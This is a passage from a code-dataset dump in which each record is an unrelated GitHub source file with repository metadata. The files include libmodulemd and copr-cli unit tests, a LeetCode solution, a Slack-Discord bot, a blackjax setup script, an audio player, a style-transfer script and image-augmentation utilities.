Modulemd.DefaultsVersionEnum.ONE\n assert defs.get_mdversion() == Modulemd.DefaultsVersionEnum.ONE\n\n assert defs.props.module_name == \"foo\"\n assert defs.get_module_name() == \"foo\"\n\n # Test that we cannot instantiate directly\n with self.assertRaisesRegex(\n TypeError, \"cannot create instance of abstract\"\n ):\n Modulemd.Defaults()\n\n # Test with a zero mdversion\n with self.assertRaisesRegex(TypeError, \"constructor returned NULL\"):\n with self.expect_signal():\n defs = Modulemd.Defaults.new(0, \"foo\")\n\n # Test with an unknown mdversion\n with self.assertRaisesRegex(TypeError, \"constructor returned NULL\"):\n with self.expect_signal():\n defs = Modulemd.Defaults.new(\n Modulemd.DefaultsVersionEnum.LATEST + 1, \"foo\"\n )\n\n # Test with no name\n with self.assertRaisesRegex(\n TypeError, \"does not allow None as a value\"\n ):\n defs = Modulemd.Defaults.new(\n Modulemd.DefaultsVersionEnum.ONE, None\n )\n\n def test_copy(self):\n defs = Modulemd.Defaults.new(Modulemd.DefaultsVersionEnum.ONE, \"foo\")\n assert defs\n\n copied_defs = defs.copy()\n assert copied_defs\n assert copied_defs.props.mdversion == defs.props.mdversion\n assert copied_defs.props.module_name == defs.props.module_name\n\n def test_mdversion(self):\n defs = Modulemd.Defaults.new(\n Modulemd.DefaultsVersionEnum.LATEST, \"foo\"\n )\n assert defs\n\n assert defs.props.mdversion == Modulemd.DefaultsVersionEnum.ONE\n assert defs.get_mdversion() == Modulemd.DefaultsVersionEnum.ONE\n\n # Ensure we cannot set the mdversion\n with self.assertRaisesRegex(TypeError, \"is not writable\"):\n defs.props.mdversion = 0\n\n def test_module_name(self):\n defs = Modulemd.Defaults.new(\n Modulemd.DefaultsVersionEnum.LATEST, \"foo\"\n )\n assert defs\n\n assert defs.props.module_name == \"foo\"\n assert defs.get_module_name() == \"foo\"\n\n # Ensure we cannot set the module_name\n with self.expect_signal():\n defs.props.module_name = None\n\n def test_modified(self):\n defs = Modulemd.Defaults.new(\n Modulemd.DefaultsVersionEnum.LATEST, \"foo\"\n )\n self.assertIsNotNone(defs)\n\n self.assertEqual(defs.get_modified(), 0)\n\n defs.set_modified(201901110830)\n\n self.assertEqual(defs.get_modified(), 201901110830)\n\n # Load a defaults object into an Index\n index = Modulemd.ModuleIndex.new()\n index.update_from_file(\n \"%s/yaml_specs/modulemd_defaults_v1.yaml\"\n % (os.getenv(\"MESON_SOURCE_ROOT\")),\n True,\n )\n module_names = index.get_module_names()\n self.assertEqual(len(module_names), 1)\n\n defs = index.get_module(index.get_module_names()[0]).get_defaults()\n self.assertIsNotNone(defs)\n\n self.assertEqual(defs.get_modified(), 201812071200)\n\n def test_validate(self):\n defs = Modulemd.Defaults.new(\n Modulemd.DefaultsVersionEnum.LATEST, \"foo\"\n )\n assert defs\n\n assert defs.validate()\n\n def test_upgrade(self):\n defs = Modulemd.Defaults.new(Modulemd.DefaultsVersionEnum.ONE, \"foo\")\n assert defs\n\n # test upgrading to the same version\n upgraded_defs = defs.upgrade(Modulemd.DefaultsVersionEnum.ONE)\n assert upgraded_defs\n assert defs.props.mdversion == Modulemd.DefaultsVersionEnum.ONE\n assert defs.props.module_name == \"foo\"\n\n # test upgrading to the latest version\n upgraded_defs = defs.upgrade(Modulemd.DefaultsVersionEnum.LATEST)\n assert upgraded_defs\n assert defs.props.mdversion == Modulemd.DefaultsVersionEnum.LATEST\n assert defs.props.module_name == \"foo\"\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"fedora-modularity/libmodulemd","sub_path":"modulemd/tests/ModulemdTests/defaults.py","file_name":"defaults.py","file_ext":"py","file_size_in_byte":4574,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"54"} +{"seq_id":"36953279146","text":"\"\"\"\nhttps://leetcode-cn.com/problems/maximum-subarray/\n思路:\n dp\n f[i] 指的是到i位置阿最大子序和\n f[i] = max(f[i-1] + nums[i], nums[i])\n\"\"\"\nclass Solution:\n def maxSubArray(self, nums: List[int]) -> int:\n ret = nums[0]\n pre = 0\n n = len(nums)\n for i in range(n):\n pre = max(pre + nums[i], nums[i])\n ret = max(pre, ret)\n return ret\n\n\n\n\n\n","repo_name":"AlfredTheBest/leetcode","sub_path":"hot100/dp/53. 最大子数组和.py","file_name":"53. 最大子数组和.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"11835931456","text":"import os\nfrom dotenv import load_dotenv\nimport logging\nfrom flask import Flask\nfrom slack_sdk.web import WebClient\nfrom slack_sdk.errors import SlackApiError\nfrom slackeventsapi import SlackEventAdapter\nfrom buildResponse import ResponseBuilder\nfrom kafka import KafkaProducer, KafkaConsumer\nfrom json import loads, dumps\nfrom jsonschema import validate, ValidationError\nimport threading\n\nload_dotenv()\n\nTOKEN = os.getenv(\"BOT_TOKEN\")\nSECRET = os.getenv(\"SIGNING_SECRET\")\nCHANNEL = os.getenv(\"CHANNEL\")\napp = Flask(__name__)\n\nslack_events_adapter = SlackEventAdapter(SECRET, \"/slack/events\", app)\n\nslack_web_client = WebClient(token=TOKEN)\n\nschema = {\n \"type\" : \"object\",\n \"properties\" : {\n \"user\" : {\"type\" : \"string\"},\n \"message\" : {\"type\" : \"string\"},\n \"avatar\" : {\"$ref\": \"#/definitions/Url\"}\n },\n \"required\" : [\"user\", \"message\", \"avatar\"],\n \"definitions\" : {\n \"Url\" : { \"format\" : \"uri\", \"pattern\" : \"^https?://\"}\n }\n}\n\ntranslationDict = {\n \"Slack Username\" : \"Discord_Username\"\n}\n\n\nproducer = KafkaProducer(bootstrap_servers=[\"localhost:9092\"], value_serializer=lambda x: dumps(x).encode(\"utf-8\"))\n\ndef consume_d2s(sc, channel):\n consumer = KafkaConsumer(\"d2s\", bootstrap_servers=[\"localhost:9092\"], auto_offset_reset=\"earliest\", enable_auto_commit=True, group_id=\"messages\", value_deserializer=lambda x: loads(x.decode(\"utf-8\")))\n for message in consumer:\n data = message.value\n user = data[\"user\"]\n message = data[\"message\"]\n avatar = data[\"avatar\"]\n sendResponse(sc, CHANNEL, message, user, avatar) \n \ndef getRealName(sc, userId):\n try:\n result = sc.users_info(user=userId)\n result = result.get(\"user\", {})\n return result[\"profile\"][\"real_name\"]\n except SlackApiError as e:\n logger.error(\"Couldn't get that user's info: {}\".format(e))\n\ndef getAvatar(sc, userId):\n try:\n result = sc.users_info(user=userId)\n result = result.get(\"user\", {})\n return result[\"profile\"][\"image_original\"]\n except SlackApiError as e:\n logger.error(\"couldn't get that user's avatar: {}\".format(e))\n\ndef messageIsValid(data):\n try:\n validate(data,schema=schema)\n return True\n except ValidationError as e:\n print(\"Data failed schema validation: \" + str(e))\n return False\n\ndef jsonFactory(name, msg, avatar):\n return {\n \"user\" : translationDict[name],\n \"message\" : msg,\n \"avatar\" : avatar\n }\n\ndef send_s2d(data):\n if messageIsValid(data):\n producer.send(\"s2d\", value=data)\n print(\"----------------SENT TO S2D--------------------\")\n\ndef handleCommand(sc, channel, msg, user, avatar):\n splitMsg = msg.lower().split()\n if splitMsg[0] == \"!f\":\n sendResponse(sc, channel, \"FUCK!!\")\n elif splitMsg[0] == \"!help\":\n helpMsg =\"Hi! :wave: I'm FlippedBot. Eventually I'll sync messages from here and Discord, but in the meantime here are some fun commands I know:\\n!f - _bot says obsenity_\\n!copy - _bot impersonates you and echoes what you said_\\n!help - _displays this help message_\"\n sendResponse(sc, channel, helpMsg)\n elif splitMsg[0] == \"!copy\":\n if len(splitMsg) > 1:\n copyMsg = \" \".join(splitMsg[1:])\n sendResponse(sc, channel, copyMsg, user, avatar)\n else:\n copyMsg = \"You didn't send anything to copy...\"\n sendResponse(sc, channel, copyMsg)\n \ndef sendResponse(sc, channel, msg, user=\"FlippedBot\", avatar=\":robot_face:\"):\n response = ResponseBuilder(channel, msg, user=user, avatar=avatar)\n finalMsg = response.getMessagePayload()\n sc.chat_postMessage(**finalMsg)\n\n\n# ============== Message Events ============= #\n# When a user sends a DM, the event type will be 'message'`.\n# Here we'll link the message callback to the 'message' event.\n@slack_events_adapter.on(\"message\")\ndef message(payload):\n # Listen for messages that aren't from bots. \n # If they seem to be commmands, send them to handleCommand()\n\n event = payload.get(\"event\", {})\n\n if event.get(\"subtype\") == \"bot_message\":\n return\n else:\n channel_id = event.get(\"channel\")\n print(str(channel_id))\n user_id = event.get(\"user\")\n realName = getRealName(slack_web_client, user_id)\n avatarURL = getAvatar(slack_web_client, user_id)\n text = event.get(\"text\")\n data = jsonFactory(realName, text, avatarURL)\n if text[0] != \"!\":\n print(\"----------------SENDING TO S2D--------------------\")\n send_s2d(data)\n return\n else:\n handleCommand(slack_web_client, channel_id, text, realName, avatarURL )\n\nif __name__ == \"__main__\":\n logger = logging.getLogger()\n logger.setLevel(logging.DEBUG)\n logger.addHandler(logging.StreamHandler())\n t = threading.Thread(target=consume_d2s, args=[slack_web_client, CHANNEL])\n t.start()\n app.run(port=3000)\n","repo_name":"VargasDevelopment/slack-sync-discord","sub_path":"FlippedBot2/flippedbot2.py","file_name":"flippedbot2.py","file_ext":"py","file_size_in_byte":4969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"69804134883","text":"import os\nimport sys\n\nimport setuptools\n\nimport versioneer\n\nNAME = \"blackjax\"\n\n# Handle builds of nightly release\nif \"BUILD_BLACKJAX_NIGHTLY\" in os.environ:\n NAME += \"-nightly\"\n\n from versioneer import get_versions as original_get_versions\n\n def get_versions():\n from datetime import datetime, timezone\n\n suffix = datetime.now(timezone.utc).strftime(r\".dev%Y%m%d\")\n versions = original_get_versions()\n versions[\"version\"] = versions[\"version\"].split(\"+\")[0] + suffix\n return versions\n\n versioneer.get_versions = get_versions\n\n\n# READ README.md for long description on PyPi.\ntry:\n long_description = open(\"README.md\", encoding=\"utf-8\").read()\nexcept Exception as e:\n sys.stderr.write(f\"Failed to read README.md:\\n {e}\\n\")\n sys.stderr.flush()\n long_description = \"\"\n\n\nsetuptools.setup(\n name=NAME,\n author=\"The BlackJAX team\",\n description=\"Flexible and fast inference in Python\",\n long_description=long_description,\n version=versioneer.get_version(),\n cmdclass=versioneer.get_cmdclass(),\n packages=setuptools.find_packages(),\n install_requires=[\n \"fastprogress>=0.2.0\",\n \"jax>=0.3.13\",\n \"jaxlib>=0.3.10\",\n \"jaxopt>=0.5.5\",\n ],\n long_description_content_type=\"text/markdown\",\n keywords=\"probabilistic machine learning bayesian statistics sampling algorithms\",\n license=\"Apache License 2.0\",\n license_files=(\"LICENSE\",),\n)\n","repo_name":"rseng/rsepedia-analysis","sub_path":"_repos/github/blackjax-devs/blackjax/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1447,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"54"} +{"seq_id":"71256276003","text":"import wave\nimport pyaudio\n\n# 打开wav文件\nwith wave.open('audio.wav', 'rb') as wf:\n # 初始化音频输出设备\n p = pyaudio.PyAudio()\n stream = p.open(format=p.get_format_from_width(wf.getsampwidth()),\n channels=wf.getnchannels(),\n rate=wf.getframerate(),\n output=True)\n\n # 播放音频\n data = wf.readframes(1024)\n while data:\n stream.write(data)\n data = wf.readframes(1024)\n\n # 关闭音频输出设备\n stream.stop_stream()\n stream.close()\n p.terminate()\n","repo_name":"wangshucheng/SpeechBox","sub_path":"test/play_audio_by_pyaudio/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"6201357928","text":"import os\nimport tensorflow as tf\nimport imageLoader\nimport StyleContent\nfrom utils import tensor_to_image\nimport tensorflow_hub as hub\n\nos.environ['TFHUB_MODEL_LOAD_FORMAT'] = 'COMPRESSED'\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\n\ndef load_img(path_to_img):\n max_dim = 512\n img = tf.io.read_file(path_to_img)\n img = tf.image.decode_image(img, channels=3)\n img = tf.image.convert_image_dtype(img, tf.float32)\n\n shape = tf.cast(tf.shape(img)[:-1], tf.float32)\n long_dim = max(shape)\n scale = max_dim / long_dim\n\n new_shape = tf.cast(shape * scale, tf.int32)\n\n img = tf.image.resize(img, new_shape)\n img = img[tf.newaxis, :]\n return img\n\n\ndef fuse_images(content_path, style_path):\n content_image = load_img(content_path)\n style_image = load_img(style_path)\n\n hub_model = hub.load('https://tfhub.dev/google/magenta/arbitrary-image-stylization-v1-256/2')\n stylized_image = hub_model(tf.constant(content_image), tf.constant(style_image))[0]\n tensor_to_image(stylized_image).save('./tmp.jpg')\n\n\ntry:\n loadedImages = imageLoader.imageLoader('apple')\n fuse_images(loadedImages[0].path, loadedImages[1].path)\n for x in range(2, len(loadedImages)):\n fuse_images('download/nice/tmp.jpg', loadedImages[x].path)\n\n\nexcept ValueError:\n print(ValueError)\n\n\n\n","repo_name":"oscar-crl/ArtIntelligence","sub_path":"ai/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"878999179","text":"\"\"\"\nUnit tests for the building/defining packages with DistGit method\n\"\"\"\n\nimport copy\n\nfrom munch import Munch\nimport pytest\n\nimport copr\n# pylint: disable=unused-import\nfrom cli_tests_lib import f_test_config\nfrom cli_tests_lib import mock\nfrom cli_tests_lib import config as mock_config\nfrom copr_cli import main\n\ndef _main(args, capsys):\n main.main(args)\n return capsys.readouterr()\n\ndef _assert_output(args, exp_stdout, exp_stderr, capsys):\n stdout, stderr = _main(args, capsys)\n assert exp_stdout == stdout\n assert exp_stderr == stderr\n\n# pylint: disable=redefined-outer-name,unused-argument,missing-function-docstring\n\nclass TestDistGitMethodBuild(object):\n 'Build was added to project:...uild/1\\nCreated builds: 1\\n'\n build_1 = (\n \"Build was added to project:\\n\"\n \" http://copr/coprs/build/1\\n\"\n \"Created builds: 1\\n\"\n )\n default_build_call = {\n 'ownername': \"jdoe\",\n 'projectname': 'project',\n 'project_dirname': 'project',\n 'buildopts': {\n 'timeout': None,\n 'chroots': None,\n 'background': False,\n 'progress_callback': None,\n 'isolation': 'unchanged',\n },\n 'packagename': 'test',\n 'distgit': None,\n 'namespace': None,\n 'committish': None\n }\n\n @staticmethod\n @pytest.yield_fixture\n def f_patch_create_from_distgit(f_test_config, capsys):\n with mock.patch(\"copr.v3.proxies.build.BuildProxy.create_from_distgit\") as patch:\n patch.return_value = [Munch({\n \"id\": \"1\",\n \"projectname\": \"project\",\n })]\n yield patch\n\n def test_normal_distgit_build(self, f_patch_create_from_distgit, capsys):\n _assert_output(\n ['build-distgit', '--name', 'test', 'project', '--nowait'],\n self.build_1, \"\",\n capsys)\n assert len(f_patch_create_from_distgit.call_args_list) == 1\n call = f_patch_create_from_distgit.call_args_list[0]\n assert call[1] == self.default_build_call\n\n @pytest.mark.parametrize('enable_net', [\"on\", \"off\"])\n def test_full_featured_distgit_build(self, enable_net,\n f_patch_create_from_distgit, capsys):\n _assert_output(\n ['build-distgit', '--name', 'test', '@group/project', '--nowait',\n '--timeout', \"3600\", '--chroot', 'fedora-rawhide-x86_64',\n '--distgit', 'centos', '--commit', 'f19', '--namespace',\n 'rpms', \"--background\", \"--enable-net\", enable_net],\n self.build_1, \"\",\n capsys)\n assert len(f_patch_create_from_distgit.call_args_list) == 1\n call = f_patch_create_from_distgit.call_args_list[0]\n result = copy.deepcopy(self.default_build_call)\n result.update({\n \"ownername\": \"@group\",\n \"committish\": \"f19\",\n \"distgit\": \"centos\",\n \"namespace\": \"rpms\",\n \"buildopts\": {\n \"timeout\": \"3600\",\n \"chroots\": ['fedora-rawhide-x86_64'],\n \"background\": True,\n \"progress_callback\": None,\n 'isolation': 'unchanged',\n \"enable_net\": enable_net == \"on\",\n },\n })\n assert call[1] == result\n\n\nclass TestDistGitMethodPackage(object):\n success_stdout = \"Create or edit operation was successful.\\n\"\n\n @staticmethod\n @pytest.yield_fixture\n def f_patch_package_distgit(f_test_config, capsys):\n with mock.patch(\"copr.v3.proxies.package.PackageProxy.add\") as p1:\n with mock.patch(\"copr.v3.proxies.package.PackageProxy.edit\") as p2:\n yield p1, p2\n\n def test_add_package_normal(self, f_patch_package_distgit, capsys):\n _assert_output(['add-package-distgit', '--name', 'package',\n 'project'], self.success_stdout, \"\", capsys)\n assert len(f_patch_package_distgit[0].call_args_list) == 1\n assert len(f_patch_package_distgit[1].call_args_list) == 0\n\n call = f_patch_package_distgit[0].call_args_list[0]\n assert call == mock.call(\n \"jdoe\", \"project\", \"package\", \"distgit\",\n {'distgit': None,\n 'namespace': None,\n 'committish': None,\n 'max_builds': None,\n 'webhook_rebuild': None})\n\n def test_edit_package_full(self, f_patch_package_distgit, capsys):\n _assert_output(['edit-package-distgit', '--name', 'package', '@owner/project',\n '--commit', 'master', '--namespace', 'ns', '--distgit',\n 'centos', '--webhook-rebuild', \"on\", \"--max-builds\",\n \"1\"],\n self.success_stdout, \"\", capsys)\n assert len(f_patch_package_distgit[1].call_args_list) == 1\n assert len(f_patch_package_distgit[0].call_args_list) == 0\n\n call = f_patch_package_distgit[1].call_args_list[0]\n assert call == mock.call(\n \"@owner\", \"project\", \"package\", \"distgit\",\n {'distgit': \"centos\",\n 'namespace': \"ns\",\n 'committish': \"master\",\n 'max_builds': \"1\",\n 'webhook_rebuild': True})\n\n @staticmethod\n @mock.patch('copr.v3.proxies.BaseProxy.auth_check', return_value=Munch(name=\"test\"))\n @mock.patch('copr_cli.main.config_from_file', return_value=mock_config)\n def test_edit_package_fail(auth_check, mock_config, capsys):\n with mock.patch(\"copr.v3.proxies.package.PackageProxy.edit\") as p1:\n p1.side_effect = copr.v3.CoprRequestException(\"Unable to connect to http://copr/api_3/.\")\n with pytest.raises(SystemExit) as exc:\n main.main(['edit-package-distgit', '--name', 'package',\n '@owner/project/blah'])\n assert exc.value.code == 1\n\n out, err = capsys.readouterr()\n assert out == \"\"\n assert err == (\n \"\\nSomething went wrong:\\n\"\n \"Error: Unable to connect to http://copr/api_3/.\\n\"\n )\n","repo_name":"fedora-copr/copr","sub_path":"cli/tests/test_distgit.py","file_name":"test_distgit.py","file_ext":"py","file_size_in_byte":6071,"program_lang":"python","lang":"en","doc_type":"code","stars":95,"dataset":"github-code","pt":"54"} +{"seq_id":"1760837733","text":"\"\"\"Fairly basic set of tools for real-time data augmentation on image data.\nCan easily be extended to include new transformations\nhttps://github.com/fchollet/keras/blob/master/keras/preprocessing/image.py\n\"\"\"\n\nimport numpy as np\nimport scipy.ndimage as ndi\n\n\ndef random_rotation(x, rg, row_axis=1, col_axis=2, channel_axis=0,\n fill_mode='nearest', cval=0.):\n \"\"\"Performs a random rotation of a Numpy image tensor.\n # Arguments\n x: Input tensor. Must be 3D.\n rg: Rotation range, in degrees.\n row_axis: Index of axis for rows in the input tensor.\n col_axis: Index of axis for columns in the input tensor.\n channel_axis: Index of axis for channels in the input tensor.\n fill_mode: Points outside the boundaries of the input\n are filled according to the given mode\n (one of `{'constant', 'nearest', 'reflect', 'wrap'}`).\n cval: Value used for points outside the boundaries\n of the input if `mode='constant'`.\n # Returns\n Rotated Numpy image tensor.\n \"\"\"\n theta = np.pi / 180 * np.random.uniform(-rg, rg)\n rotation_matrix = np.array([[np.cos(theta), -np.sin(theta), 0],\n [np.sin(theta), np.cos(theta), 0],\n [0, 0, 1]])\n\n h, w = x.shape[row_axis], x.shape[col_axis]\n transform_matrix = transform_matrix_offset_center(rotation_matrix, h, w)\n x = apply_transform(x, transform_matrix, channel_axis, fill_mode, cval)\n return x\n\n\ndef random_shift(x, wrg, hrg, row_axis=1, col_axis=2, channel_axis=0,\n fill_mode='nearest', cval=0.):\n \"\"\"Performs a random spatial shift of a Numpy image tensor.\n # Arguments\n x: Input tensor. Must be 3D.\n wrg: Width shift range, as a float fraction of the width.\n hrg: Height shift range, as a float fraction of the height.\n row_axis: Index of axis for rows in the input tensor.\n col_axis: Index of axis for columns in the input tensor.\n channel_axis: Index of axis for channels in the input tensor.\n fill_mode: Points outside the boundaries of the input\n are filled according to the given mode\n (one of `{'constant', 'nearest', 'reflect', 'wrap'}`).\n cval: Value used for points outside the boundaries\n of the input if `mode='constant'`.\n # Returns\n Shifted Numpy image tensor.\n \"\"\"\n h, w = x.shape[row_axis], x.shape[col_axis]\n tx = np.random.uniform(-hrg, hrg) * h\n ty = np.random.uniform(-wrg, wrg) * w\n translation_matrix = np.array([[1, 0, tx],\n [0, 1, ty],\n [0, 0, 1]])\n\n transform_matrix = translation_matrix # no need to do offset\n x = apply_transform(x, transform_matrix, channel_axis, fill_mode, cval)\n return x\n\n\ndef random_shear(x, intensity, row_axis=1, col_axis=2, channel_axis=0,\n fill_mode='nearest', cval=0.):\n \"\"\"Performs a random spatial shear of a Numpy image tensor.\n # Arguments\n x: Input tensor. Must be 3D.\n intensity: Transformation intensity.\n row_axis: Index of axis for rows in the input tensor.\n col_axis: Index of axis for columns in the input tensor.\n channel_axis: Index of axis for channels in the input tensor.\n fill_mode: Points outside the boundaries of the input\n are filled according to the given mode\n (one of `{'constant', 'nearest', 'reflect', 'wrap'}`).\n cval: Value used for points outside the boundaries\n of the input if `mode='constant'`.\n # Returns\n Sheared Numpy image tensor.\n \"\"\"\n shear = np.random.uniform(-intensity, intensity)\n shear_matrix = np.array([[1, -np.sin(shear), 0],\n [0, np.cos(shear), 0],\n [0, 0, 1]])\n\n h, w = x.shape[row_axis], x.shape[col_axis]\n transform_matrix = transform_matrix_offset_center(shear_matrix, h, w)\n x = apply_transform(x, transform_matrix, channel_axis, fill_mode, cval)\n return x\n\n\ndef random_zoom(x, zoom_range, row_axis=1, col_axis=2, channel_axis=0,\n fill_mode='nearest', cval=0.):\n \"\"\"Performs a random spatial zoom of a Numpy image tensor.\n # Arguments\n x: Input tensor. Must be 3D.\n zoom_range: Tuple of floats; zoom range for width and height.\n row_axis: Index of axis for rows in the input tensor.\n col_axis: Index of axis for columns in the input tensor.\n channel_axis: Index of axis for channels in the input tensor.\n fill_mode: Points outside the boundaries of the input\n are filled according to the given mode\n (one of `{'constant', 'nearest', 'reflect', 'wrap'}`).\n cval: Value used for points outside the boundaries\n of the input if `mode='constant'`.\n # Returns\n Zoomed Numpy image tensor.\n # Raises\n ValueError: if `zoom_range` isn't a tuple.\n \"\"\"\n if len(zoom_range) != 2:\n raise ValueError('`zoom_range` should be a tuple or list of two floats. '\n 'Received arg: ', zoom_range)\n\n if zoom_range[0] == 1 and zoom_range[1] == 1:\n zx, zy = 1, 1\n else:\n zx, zy = np.random.uniform(zoom_range[0], zoom_range[1], 2)\n zoom_matrix = np.array([[zx, 0, 0],\n [0, zy, 0],\n [0, 0, 1]])\n\n h, w = x.shape[row_axis], x.shape[col_axis]\n transform_matrix = transform_matrix_offset_center(zoom_matrix, h, w)\n x = apply_transform(x, transform_matrix, channel_axis, fill_mode, cval)\n return x\n\n\ndef zoom_and_crop(X_batch, zoom, crop_shape, row_axis=1, col_axis=2, channel_axis=0,\n fill_mode='nearest', cval=0.):\n\n zoom_matrix = np.array([[zoom, 0, 0],\n [0, zoom, 0],\n [0, 0, 1]])\n\n rt_batch = np.zeros_like(X_batch)\n for i in xrange(X_batch.shape[0]):\n x = X_batch[i]\n h, w = x.shape[row_axis], x.shape[col_axis]\n transform_matrix = transform_matrix_offset_center(zoom_matrix, h, w)\n x = apply_transform(x, transform_matrix, channel_axis, fill_mode, cval)\n rt_batch[i] = x\n\n return image_crop(rt_batch, crop_shape[0], crop_shape[1])\n\ndef image_crop(X, ph, pw=None):\n\n if pw is None:\n pw = ph\n\n h, w = X.shape[2:4]\n\n if h == ph and w == pw:\n return X\n\n j = int(round((h - ph)/2.))\n i = int(round((w - pw)/2.))\n\n return X[:,:,j:j+ph, i:i+pw]\n\ndef random_channel_shift(x, intensity, channel_axis=0):\n x = np.rollaxis(x, channel_axis, 0)\n min_x, max_x = np.min(x), np.max(x)\n channel_images = [np.clip(x_channel + np.random.uniform(-intensity, intensity), min_x, max_x)\n for x_channel in x]\n x = np.stack(channel_images, axis=0)\n x = np.rollaxis(x, 0, channel_axis + 1)\n return x\n\n# For curving soybean pods. L.C.Uzal\ndef random_curves_transform(x, strength=0.1, range=(0.,255.)):\n low, high = range\n delta = (high - low) * strength / 2.\n xp = np.random.uniform(low=low + delta, high=high - delta)\n yp = np.random.uniform(low=xp-delta, high=xp+delta)\n xp = np.asarray([low, xp, high])\n yp = np.asarray([low, yp, high])\n return np.interp(x,xp,yp)\n\ndef transform_matrix_offset_center(matrix, x, y):\n o_x = float(x) / 2 + 0.5\n o_y = float(y) / 2 + 0.5\n offset_matrix = np.array([[1, 0, o_x], [0, 1, o_y], [0, 0, 1]])\n reset_matrix = np.array([[1, 0, -o_x], [0, 1, -o_y], [0, 0, 1]])\n transform_matrix = np.dot(np.dot(offset_matrix, matrix), reset_matrix)\n return transform_matrix\n\n\ndef apply_transform(x,\n transform_matrix,\n channel_axis=0,\n fill_mode='nearest',\n cval=0.):\n \"\"\"Apply the image transformation specified by a matrix.\n # Arguments\n x: 2D numpy array, single image.\n transform_matrix: Numpy array specifying the geometric transformation.\n channel_axis: Index of axis for channels in the input tensor.\n fill_mode: Points outside the boundaries of the input\n are filled according to the given mode\n (one of `{'constant', 'nearest', 'reflect', 'wrap'}`).\n cval: Value used for points outside the boundaries\n of the input if `mode='constant'`.\n # Returns\n The transformed version of the input.\n \"\"\"\n x = np.rollaxis(x, channel_axis, 0)\n final_affine_matrix = transform_matrix[:2, :2]\n final_offset = transform_matrix[:2, 2]\n channel_images = [ndi.interpolation.affine_transform(\n x_channel,\n final_affine_matrix,\n final_offset,\n order=1,\n mode=fill_mode,\n cval=cval) for x_channel in x]\n x = np.stack(channel_images, axis=0)\n x = np.rollaxis(x, 0, channel_axis + 1)\n return x\n\n\ndef flip_axis(x, axis):\n x = np.asarray(x).swapaxes(axis, 0)\n x = x[::-1, ...]\n x = x.swapaxes(0, axis)\n return x\n\n\nclass Augmentation(object):\n \"\"\"Transform minibatches of image data with real-time data augmentation.\n # Arguments\n rotation_range: degrees (0 to 180).\n width_shift_range: fraction of total width.\n height_shift_range: fraction of total height.\n shear_range: shear intensity (shear angle in radians).\n zoom_range: amount of zoom. if scalar z, zoom will be randomly picked\n in the range [1-z, 1+z]. A sequence of two can be passed instead\n to select this range.\n channel_shift_range: shift range for each channels.\n fill_mode: points outside the boundaries are filled according to the\n given mode ('constant', 'nearest', 'reflect' or 'wrap'). Default\n is 'nearest'.\n cval: value used for points outside the boundaries when fill_mode is\n 'constant'. Default is 0.\n horizontal_flip: whether to randomly flip images horizontally.\n vertical_flip: whether to randomly flip images vertically.\n rescale: rescaling factor. If None or 0, no rescaling is applied,\n otherwise we multiply the data by the value provided\n (before applying any other transformation).\n \"\"\"\n\n def __init__(self,\n samplewise_center=False,\n samplewise_std_normalization=False,\n rotation_range=0.,\n width_shift_range=0.,\n height_shift_range=0.,\n shear_range=0.,\n zoom_range=0.,\n channel_shift_range=0.,\n fill_mode='nearest',\n cval=0.,\n horizontal_flip=False,\n vertical_flip=False,\n rescale=None,\n random_curves_strength=0.,\n seed=None):\n\n self.samplewise_center = samplewise_center\n self.samplewise_std_normalization = samplewise_std_normalization\n self.rotation_range = rotation_range\n self.width_shift_range = width_shift_range\n self.height_shift_range = height_shift_range\n self.shear_range = shear_range\n self.zoom_range = zoom_range\n self.channel_shift_range = channel_shift_range\n self.fill_mode = fill_mode\n self.cval = cval\n self.horizontal_flip = horizontal_flip\n self.vertical_flip = vertical_flip\n self.rescale = rescale\n self.random_curves_strength = random_curves_strength\n\n self.data_format = 'channels_first'\n self.channel_axis = 1\n self.row_axis = 2\n self.col_axis = 3\n\n if np.isscalar(zoom_range):\n self.zoom_range = [1 - zoom_range, 1 + zoom_range]\n elif len(zoom_range) == 2:\n self.zoom_range = [zoom_range[0], zoom_range[1]]\n else:\n raise ValueError('`zoom_range` should be a float or '\n 'a tuple or list of two floats. '\n 'Received arg: ', zoom_range)\n\n if seed is not None:\n np.random.seed(seed)\n\n\n def random_transform(self, x_batch):\n \"\"\"Randomly augment a minibatch of images tensor.\n # Arguments\n x: 4D tensor, minibatch of images.\n # Returns\n A randomly transformed version of the input (same shape).\n \"\"\"\n # x is a single image, so it doesn't have image number at index 0\n img_row_axis = self.row_axis - 1\n img_col_axis = self.col_axis - 1\n img_channel_axis = self.channel_axis - 1\n\n rt_batch = np.zeros_like(x_batch)\n for i in xrange(x_batch.shape[0]):\n x = x_batch[i]\n\n # use composition of homographies\n # to generate final transform that needs to be applied\n if self.rotation_range:\n theta = np.pi / 180 * np.random.uniform(-self.rotation_range, self.rotation_range)\n else:\n theta = 0\n\n if self.height_shift_range:\n tx = np.random.uniform(-self.height_shift_range, self.height_shift_range) * x.shape[img_row_axis]\n else:\n tx = 0\n\n if self.width_shift_range:\n ty = np.random.uniform(-self.width_shift_range, self.width_shift_range) * x.shape[img_col_axis]\n else:\n ty = 0\n\n if self.shear_range:\n shear = np.random.uniform(-self.shear_range, self.shear_range)\n else:\n shear = 0\n\n if self.zoom_range[0] == 1 and self.zoom_range[1] == 1:\n zx, zy = 1, 1\n else:\n zx, zy = np.random.uniform(self.zoom_range[0], self.zoom_range[1], 2)\n\n transform_matrix = None\n if theta != 0:\n rotation_matrix = np.array([[np.cos(theta), -np.sin(theta), 0],\n [np.sin(theta), np.cos(theta), 0],\n [0, 0, 1]])\n transform_matrix = rotation_matrix\n\n if tx != 0 or ty != 0:\n shift_matrix = np.array([[1, 0, tx],\n [0, 1, ty],\n [0, 0, 1]])\n transform_matrix = shift_matrix if transform_matrix is None else 